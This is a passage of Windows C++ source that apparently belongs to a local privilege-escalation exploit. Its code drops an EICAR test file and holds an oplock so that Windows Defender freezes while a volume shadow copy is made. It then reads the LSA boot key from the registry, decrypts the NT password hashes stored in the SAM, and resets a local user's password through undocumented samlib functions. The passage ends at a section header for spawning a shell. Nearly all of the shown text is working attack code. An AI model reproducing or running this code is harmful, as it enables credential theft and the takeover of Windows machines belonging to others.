  1331. if (syncrootregistered)
  1332. {
  1333. CfDisconnectSyncRoot(cfkey);
  1334. CfUnregisterSyncRoot(syncroot);
  1335. }
  1336. return retval;
  1337. }
  1338. bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath)
  1339. {
  1340. GUID uid = { 0 };
  1341. RPC_WSTR wuid = { 0 };
  1342. UuidCreate(&uid);
  1343. UuidToStringW(&uid, &wuid);
  1344. wchar_t* wuid2 = (wchar_t*)wuid;
  1345. wchar_t workdir[MAX_PATH] = { 0 };
  1346. ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH);
  1347. wcscat(workdir, wuid2);
  1348. wchar_t eicarfilepath[MAX_PATH] = { 0 };
  1349. wcscpy(eicarfilepath,workdir);
  1350. wcscat(eicarfilepath,L"\\foo.exe");
  1351. HANDLE hlock = NULL;
  1352. wchar_t rstmgr[MAX_PATH] = { 0 };
  1353. ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);
  1354. OVERLAPPED ovd = { 0 };
  1355. char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
  1356. rev(eicar);
  1357. DWORD nwf = 0;
  1358. cloudworkerthreadargs cldthreadargs = { 0 };
  1359. DWORD tid = 0;
  1360. HANDLE hthread = NULL;
  1361. bool dircreated = false;
  1362. bool retval = true;
  1363. HANDLE hfile = NULL;
  1364. HANDLE trigger = NULL;
  1365. HANDLE hthread2 = NULL;
  1366. HANDLE hobj[2] = { 0 };
  1367. DWORD exitcode = STATUS_SUCCESS;
  1368. DWORD waitres = 0;
  1369. hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid);
  1370. if (!hthread)
  1371. {
  1372. printf("Failed to create worker thread, error : %d", GetLastError());
  1373. retval = false;
  1374. goto cleanup;
  1375. }
  1376. dircreated = CreateDirectory(workdir, NULL);
  1377. if (!dircreated)
  1378. {
  1379. printf("Failed to create working directory, error : %d\n",GetLastError());
  1380. retval = false;
  1381. goto cleanup;
  1382. }
  1383. hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);
  1384. if (!hfile || hfile == INVALID_HANDLE_VALUE)
  1385. {
  1386. printf("Failed to create eicar test file, error : %d\n", GetLastError());
  1387. retval = false;
  1388. goto cleanup;
  1389. }
  1390. if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL))
  1391. {
  1392. printf("Failed to write eicar test file, error : %d\n", GetLastError());
  1393. retval = false;
  1394. goto cleanup;
  1395. }
  1396. hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
  1397. if (!hlock || hlock == INVALID_HANDLE_VALUE)
  1398. {
  1399. printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError());
  1400. retval = false;
  1401. goto cleanup;
  1402. }
  1403. ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  1404. if (!ovd.hEvent)
  1405. {
  1406. printf("Failed to create event object with error : %d !!!!\n", GetLastError());
  1407. retval = false;
  1408. goto cleanup;
  1409. }
  1410. SetLastError(ERROR_SUCCESS);
  1411. DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
  1412. if (GetLastError() != ERROR_IO_PENDING)
  1413. {
  1414. printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
  1415. retval = false;
  1416. goto cleanup;
  1417. }
  1418. // trigger wd for action
  1419. trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  1420. if (trigger && trigger != INVALID_HANDLE_VALUE)
  1421. CloseHandle(trigger);
  1422. printf("Waiting for oplock to trigger...\n");
  1423. GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
  1424. printf("Oplock triggered.\n");
  1425. if (!GetExitCodeThread(hthread, &exitcode))
  1426. {
  1427. printf("Unexpected error while getting worker thread exit code");
  1428. retval = false;
  1429. goto cleanup;
  1430. }
  1431. if (exitcode)
  1432. {
  1433. printf("Failed to get new volume shadow copy path");
  1434. retval = false;
  1435. goto cleanup;
  1436. }
  1437. cldthreadargs.hcleanupevent = hreleaseevent;
  1438. cldthreadargs.hlock = hlock;
  1439. cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL);
  1440. hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);
  1441. if (!hthread2) {
  1442. printf("Unable to create worker thread, error : %d", GetLastError());
  1443. retval = false;
  1444. goto cleanup;
  1445. }
  1446. hobj[0] = hthread2;
  1447. hobj[1] = cldthreadargs.hvssready;
  1448. waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE);
  1449. if (waitres - WAIT_OBJECT_0 == 0)
  1450. {
  1451. printf("Unable to freeze WD, thread exited prematurely.\n");
  1452. retval = false;
  1453. }
  1454. cleanup:
  1455. if (hthread)
  1456. CloseHandle(hthread);
  1457. if(hthread2)
  1458. CloseHandle(hthread2);
  1459. if(cldthreadargs.hvssready)
  1460. CloseHandle(cldthreadargs.hvssready);
  1461. if (ovd.hEvent)
  1462. CloseHandle(ovd.hEvent);
  1463. if (hfile)
  1464. CloseHandle(hfile);
  1465. if (dircreated)
  1466. RemoveDirectory(workdir);
  1467. return retval;
  1468. }
  1469. //////////////////////////////////////////////////////////////////////
  1470. // Volume shadow copy functions end
  1471. /////////////////////////////////////////////////////////////////////
  1472. //////////////////////////////////////////////////////////////////////
  1473. // SAM handling start
  1474. /////////////////////////////////////////////////////////////////////
  1475. #define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc
  1476. #define SAM_DATABASE_USERNAME_OFFSET 0x0c
  1477. #define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10
  1478. #define SAM_DATABASE_LM_HASH_OFFSET 0x9c
  1479. #define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0
  1480. #define SAM_DATABASE_NT_HASH_OFFSET 0xa8
  1481. #define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac
  1482. struct PwdEnc
  1483. {
  1484. char* buff;
  1485. size_t sz;
  1486. wchar_t* username;
  1487. ULONG usernamesz;
  1488. char* LMHash;
  1489. ULONG LMHashLenght;
  1490. char* NTHash;
  1491. ULONG NTHashLenght;
  1492. ULONG rid;
  1493. };
  1494. NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
  1495. NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle);
  1496. NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle);
  1497. NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle);
  1498. NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM);
  1499. void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) {
  1500. size_t len = strlen(hex_string);
  1501. if (len % 2 != 0) {
  1502. fprintf(stderr, "Error: Hex string length must be even.\n");
  1503. return;
  1504. }
  1505. size_t byte_len = len / 2;
  1506. if (byte_len > max_len) {
  1507. fprintf(stderr, "Error: Output buffer too small.\n");
  1508. return;
  1509. }
  1510. for (size_t i = 0; i < byte_len; i++) {
  1511. // Read two hex characters and convert them to an unsigned int
  1512. unsigned int byte_val;
  1513. if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) {
  1514. fprintf(stderr, "Error: Invalid hex character in string.\n");
  1515. return;
  1516. }
  1517. byte_array[i] = (unsigned char)byte_val;
  1518. }
  1519. }
  1520. bool GetLSASecretKey(unsigned char bootkeybytes[16])
  1521. {
  1522. const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
  1523. int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
  1524. //ORHKEY hlsa = NULL;
  1525. HKEY hlsa = NULL;
  1526. DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa);
  1527. char data[0x1000] = { 0 };
  1528. DWORD index = 0;
  1529. for (const wchar_t* keyname : keynames)
  1530. {
  1531. DWORD retsz = sizeof(data) / sizeof(char);
  1532. HKEY hbootkey = NULL;
  1533. err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey);
  1534. err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
  1535. index += retsz;
  1536. RegCloseKey(hbootkey);
  1537. }
  1538. //printf("%s\n", data);
  1539. RegCloseKey(hlsa);
  1540. if (strlen(data) < 16)
  1541. {
  1542. printf("Boot key mismatch.");
  1543. return 1;
  1544. }
  1545. // convert hex string to binary
  1546. unsigned char keybytes[16] = { 0 };
  1547. hex_string_to_bytes(data, keybytes, 16);
  1548. for (int i = 0; i < sizeof(keybytes); i++)
  1549. {
  1550. bootkeybytes[i] = keybytes[indices[i]];
  1551. }
  1552. return true;
  1553. }
  1554. void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen)
  1555. {
  1556. char* decrypted = (char*)malloc(enclen);
  1557. memmove(decrypted, hashdata, enclen);
  1558. HCRYPTPROV hprov = NULL;
  1559. CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
  1560. struct aes128keyBlob
  1561. {
  1562. BLOBHEADER hdr;
  1563. DWORD keySize;
  1564. BYTE bytes[16];
  1565. } blob;
  1566. blob.hdr.bType = PLAINTEXTKEYBLOB;
  1567. blob.hdr.bVersion = CUR_BLOB_VERSION;
  1568. blob.hdr.reserved = 0;
  1569. blob.hdr.aiKeyAlg = CALG_AES_128;
  1570. blob.keySize = 16;
  1571. memmove(blob.bytes, lsaKey, 16);
  1572. HCRYPTKEY hcryptkey = NULL;
  1573. CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey);
  1574. DWORD mode = CRYPT_MODE_CBC;
  1575. CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL);
  1576. CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
  1577. DWORD retsz = enclen;
  1578. CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
  1579. /*
  1580. EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
  1581. int fulllen = 0;
  1582. int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv);
  1583. if (!retval)
  1584. return NULL;
  1585. //int decryptedsz = enclen;
  1586. retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen);
  1587. if (!retval)
  1588. return NULL;
  1589. retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen);
  1590. EVP_CIPHER_CTX_free(en);
  1591. if (!retval)
  1592. return NULL;
  1593. */
  1594. if (decryptedlen)
  1595. *decryptedlen = retsz;
  1596. return decrypted;
  1597. }
  1598. #ifndef SHA256_DIGEST_LENGTH
  1599. #define SHA256_DIGEST_LENGTH 32
  1600. #endif
  1601. bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH])
  1602. {
  1603. char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH);
  1604. ZeroMemory(data2, SHA256_DIGEST_LENGTH);
  1605. HCRYPTPROV hprov = NULL;
  1606. CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
  1607. HCRYPTHASH Hhash = NULL;
  1608. CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash);
  1609. CryptHashData(Hhash, (const BYTE*)data, size, NULL);
  1610. DWORD md_len = 0;
  1611. DWORD inputsz = sizeof(md_len);
  1612. CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
  1613. //inputsz = size;
  1614. CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL);
  1615. CryptDestroyHash(Hhash);
  1616. CryptReleaseContext(hprov, NULL);
  1617. /*
  1618. EVP_MD_CTX* en = EVP_MD_CTX_new();
  1619. bool retval = EVP_DigestInit(en, EVP_sha256());
  1620. if (!retval)
  1621. return retval;
  1622. retval = EVP_DigestUpdate(en, data, size);
  1623. if (!retval)
  1624. return retval;
  1625. EVP_DigestFinal(en, (unsigned char*)hashout, NULL);
  1626. */
  1627. //return retval;
  1628. return true;
  1629. }
  1630. void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz)
  1631. {
  1632. int hashlen = data[0];
  1633. int enclen = data[4];
  1634. char iv[16] = { 0 };
  1635. memmove(iv, &data[8], sizeof(iv));
  1636. char* cyphertext = (char*)malloc(enclen);
  1637. memmove(cyphertext, &data[0x18], enclen);
  1638. // first arg, lsaKey | second arg, iv | thid arg, ciphertext
  1639. int outsz = 0;
  1640. int pekoutsz = 0;
  1641. char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz);
  1642. char* hashdata = (char*)malloc(hashlen);
  1643. memmove(hashdata, &data[0x18 + enclen], hashlen);
  1644. char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz);
  1645. char hash256[SHA256_DIGEST_LENGTH];
  1646. if (!ComputeSHA256(pek, pekoutsz, hash256))
  1647. {
  1648. return NULL;
  1649. }
  1650. if (memcmp(hash256, hash, sizeof(hash256)) != 0)
  1651. {
  1652. printf("Invalid AES password key.\n");
  1653. return NULL;
  1654. }
  1655. if (keysz)
  1656. *keysz = sizeof(hash256);
  1657. return pek;
  1658. }
  1659. void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz)
  1660. {
  1661. int enctype = samKey[0x68];
  1662. if (enctype == 2) {
  1663. int endofs = samKey[0x6c] + 0x68;
  1664. int len = endofs - 0x70;
  1665. char* data = (char*)malloc(len);
  1666. memmove(data, &samKey[0x70], len);
  1667. void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz);
  1668. return retval;
  1669. }
  1670. __debugbreak();
  1671. return NULL;
  1672. }
  1673. void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz)
  1674. {
  1675. int length = data[4];
  1676. if (!length)
  1677. return NULL;
  1678. char iv[16] = { 0 };
  1679. memmove(iv, &data[8], sizeof(iv));
  1680. int ciphertextsz = datasz - 24;
  1681. char* ciphertext = (char*)malloc(ciphertextsz);
  1682. memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz);
  1683. return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz);
  1684. }
  1685. void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz)
  1686. {
  1687. int enctype = data[2];
  1688. switch (enctype)
  1689. {
  1690. case 2:
  1691. return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz);
  1692. break;
  1693. default:
  1694. __debugbreak();
  1695. break;
  1696. }
  1697. return NULL;
  1698. }
  1699. void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz)
  1700. {
  1701. char* ciphertext2 = (char*)malloc(ciphertextsz);
  1702. memmove(ciphertext2, ciphertext, ciphertextsz);
  1703. HCRYPTPROV hprov = NULL;
  1704. CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
  1705. struct deskeyBlob
  1706. {
  1707. BLOBHEADER hdr;
  1708. DWORD keySize;
  1709. BYTE bytes[8];
  1710. }blob;
  1711. //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz);
  1712. blob.hdr.bType = PLAINTEXTKEYBLOB;
  1713. blob.hdr.bVersion = CUR_BLOB_VERSION;
  1714. blob.hdr.reserved = 0;
  1715. blob.hdr.aiKeyAlg = CALG_DES;
  1716. blob.keySize = 8;
  1717. memmove(blob.bytes, key, 8);
  1718. HCRYPTKEY hcryptkey = NULL;
  1719. CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey);
  1720. DWORD mode = CRYPT_MODE_ECB;
  1721. CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
  1722. DWORD retsz = ciphertextsz;
  1723. CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz);
  1724. if (outsz)
  1725. *outsz = 8;
  1726. //printf("GetLastError : %x\n", GetLastError());
  1727. CryptReleaseContext(hprov, NULL);
  1728. return ciphertext2;
  1729. /*
  1730. DWORD mode = CRYPT_MODE_ECB;
  1731. CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
  1732. printf("GetLastError : %x\n", GetLastError());
  1733. DWORD retsz = enclen;
  1734. CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
  1735. printf("GetLastError : %x\n", GetLastError());
  1736. */
  1737. /*
  1738. OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy");
  1739. if (legacy == NULL)
  1740. {
  1741. printf("Failed to load Legacy provider\n");
  1742. }
  1743. EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
  1744. int fulllen = 0;
  1745. int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL);
  1746. char* plaintext = (char*)malloc(ciphertextsz);
  1747. int _outsz = 0;
  1748. retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz);
  1749. int _outlen = 0;
  1750. retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen);
  1751. if (outsz)
  1752. *outsz = _outsz;
  1753. return plaintext;
  1754. */
  1755. }
  1756. char* DeriveDESKey(char data[7])
  1757. {
  1758. union keyderv {
  1759. struct {
  1760. char arr[8];
  1761. };
  1762. SIZE_T derv;
  1763. };
  1764. keyderv ttv = { 0 };
  1765. ZeroMemory(ttv.arr, sizeof(ttv.arr));
  1766. memmove(ttv.arr, data, sizeof(data) - 1);
  1767. SIZE_T k = ttv.derv;
  1768. char* key = (char*)malloc(sizeof(data));
  1769. for (int i = 0; i < 8; i++)
  1770. {
  1771. int j = 7 - i;
  1772. int curr = (k >> (7 * j)) & 0x7F;
  1773. int b = curr;
  1774. b ^= b >> 4;
  1775. b ^= b >> 2;
  1776. b ^= b >> 1;
  1777. int keybyte = (curr << 1) ^ (b & 1) ^ 1;
  1778. key[i] = (char)keybyte;
  1779. }
  1780. return key;
  1781. }
  1782. void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid)
  1783. {
  1784. union keydata {
  1785. struct {
  1786. char a;
  1787. char b;
  1788. char c;
  1789. char d;
  1790. };
  1791. ULONG data;
  1792. };
  1793. keydata keycontent = { 0 };
  1794. keycontent.data = rid;
  1795. char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a };
  1796. char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d };
  1797. char* rkey1 = DeriveDESKey(key1);
  1798. char* rkey2 = DeriveDESKey(key2);
  1799. int plaintext1sz = 0;
  1800. int plaintext2sz = 0;
  1801. char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz);
  1802. if (!plaintext1)
  1803. return NULL;
  1804. char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz);
  1805. if (!plaintext2)
  1806. return NULL;
  1807. void* retval = malloc(plaintext1sz + plaintext2sz);
  1808. memmove(retval, plaintext1, plaintext1sz);
  1809. memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz);
  1810. if (outsz)
  1811. *outsz = plaintext1sz + plaintext2sz;
  1812. return retval;
  1813. }
  1814. void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid)
  1815. {
  1816. int _outsz = 0;
  1817. void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz);
  1818. if (!dec)
  1819. return NULL;
  1820. int _hashoutsz = 0;
  1821. void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid);
  1822. if (outsz)
  1823. *outsz = _hashoutsz;
  1824. return _hash;
  1825. }
  1826. unsigned char* HexToHexString(unsigned char* data, int size)
  1827. {
  1828. unsigned char* retval = (unsigned char*)malloc(size * 2 + 1);
  1829. ZeroMemory(retval, size + 1);
  1830. for (int i = 0; i < size; i++)
  1831. {
  1832. sprintf((char*)&retval[i * 2], "%02x", data[i]);
  1833. }
  1834. return retval;
  1835. }
  1836. char* CalculateNTLMHash(char* _input)
  1837. {
  1838. int pw_len = strlen(_input);
  1839. char* input = new char[pw_len * 2];
  1840. for (int i = 0; i < pw_len; i++)
  1841. {
  1842. input[i * 2] = _input[i];
  1843. input[i * 2 + 1] = '\0';
  1844. }
  1845. unsigned int md_len = 0;
  1846. HCRYPTPROV hprov = NULL;
  1847. CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
  1848. HCRYPTHASH Hhash = NULL;
  1849. CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash);
  1850. CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL);
  1851. DWORD inputsz = sizeof(md_len);
  1852. CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
  1853. unsigned char* md_value = (unsigned char*)malloc(md_len);
  1854. inputsz = md_len;
  1855. CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL);
  1856. CryptDestroyHash(Hhash);
  1857. CryptReleaseContext(hprov, NULL);
  1858. /*
  1859. EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
  1860. EVP_DigestInit_ex(mdctx, EVP_md4(), NULL);
  1861. EVP_DigestUpdate(mdctx, input, pw_len * 2);
  1862. EVP_DigestFinal_ex(mdctx, md_value, &md_len);
  1863. EVP_MD_CTX_free(mdctx);
  1864. */
  1865. /*
  1866. printf("Digest is: ");
  1867. for (int i = 0; i < md_len; i++)
  1868. printf("%02x", md_value[i]);
  1869. printf("\n");
  1870. */
  1871. return (char*)md_value;
  1872. }
  1873. bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL)
  1874. {
  1875. wchar_t libpath[MAX_PATH] = { 0 };
  1876. ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH);
  1877. HMODULE hm = LoadLibrary(libpath);
  1878. if (!hm)
  1879. {
  1880. printf("Failed to load samlib.dll\n");
  1881. return false;
  1882. }
  1883. NTSTATUS(WINAPI * _SamConnect)
  1884. (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect");
  1885. NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle");
  1886. NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle)
  1887. = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain");
  1888. NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser");
  1889. NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser");
  1890. if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser)
  1891. {
  1892. printf("Failed to import required functions from samlib.dll\n");
  1893. return false;
  1894. }
  1895. HANDLE hsrv = NULL;
  1896. NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false);
  1897. if (stat)
  1898. {
  1899. printf("Failed to connect to SAM, error : 0x%0.8X\n", stat);
  1900. return false;
  1901. }
  1902. //printf("Connected to local SAM.\n");
  1903. LSA_OBJECT_ATTRIBUTES loa = { 0 };
  1904. LSA_HANDLE hlsa = NULL;
  1905. stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa);
  1906. if (stat)
  1907. {
  1908. printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat);
  1909. return false;
  1910. }
  1911. POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0;
  1912. stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo);
  1913. if (stat)
  1914. {
  1915. printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat);
  1916. return false;
  1917. }
  1918. /*wchar_t* stringsid = 0;
  1919. if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid))
  1920. {
  1921. printf("Failed to get string sid, error : %d\n", GetLastError());
  1922. return false;
  1923. }
  1924. printf("Machine SID : %ws\n", stringsid);*/
  1925. LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0;
  1926. LSA_TRANSLATED_SID* lsatrans = 0;
  1927. LSA_UNICODE_STRING lsaunistr = { 0 };
  1928. RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username);
  1929. stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans);
  1930. if (stat)
  1931. {
  1932. printf("LsaLookupNames failed, error : 0x%0.8X\n", stat);
  1933. return false;
  1934. }
  1935. LsaClose(hlsa);
  1936. HANDLE hdomain = NULL;
  1937. stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain);
  1938. if (stat)
  1939. {
  1940. printf("SamOpenDomain failed, error : 0x%0.8X\n", stat);
  1941. return false;
  1942. }
  1943. HANDLE huser = NULL;
  1944. stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser);
  1945. if (stat)
  1946. {
  1947. printf("SamOpenUser failed, error : 0x%0.8X\n", stat);
  1948. return false;
  1949. }
  1950. //char password[] = "testp";
  1951. //char* oldNTLM = CalculateNTLMHash((char*)"testp");
  1952. char* oldNTLM = (char*)nthash;
  1953. char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword);
  1954. char oldLm[16] = { 0 };
  1955. char newLm[16] = { 0 };
  1956. stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM);
  1957. if (stat)
  1958. {
  1959. printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat);
  1960. return false;
  1961. }
  1962. _SamCloseHandle(huser);
  1963. _SamCloseHandle(hdomain);
  1964. _SamCloseHandle(hsrv);
  1965. /*
  1966. if (newpassword) {
  1967. printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword);
  1968. }
  1969. else {
  1970. printf("Info : user \"%ws\" password has been changed back to older password\n", username);
  1971. }
  1972. */
  1973. return true;
  1974. }
  1975. //////////////////////////////////////////////////////////////////////
  1976. // SAM handling end
  1977. /////////////////////////////////////////////////////////////////////
  1978. //////////////////////////////////////////////////////////////////////
  1979. // Exploit shell spawn start
  1980. /////////////////////////////////////////////////////////////////////
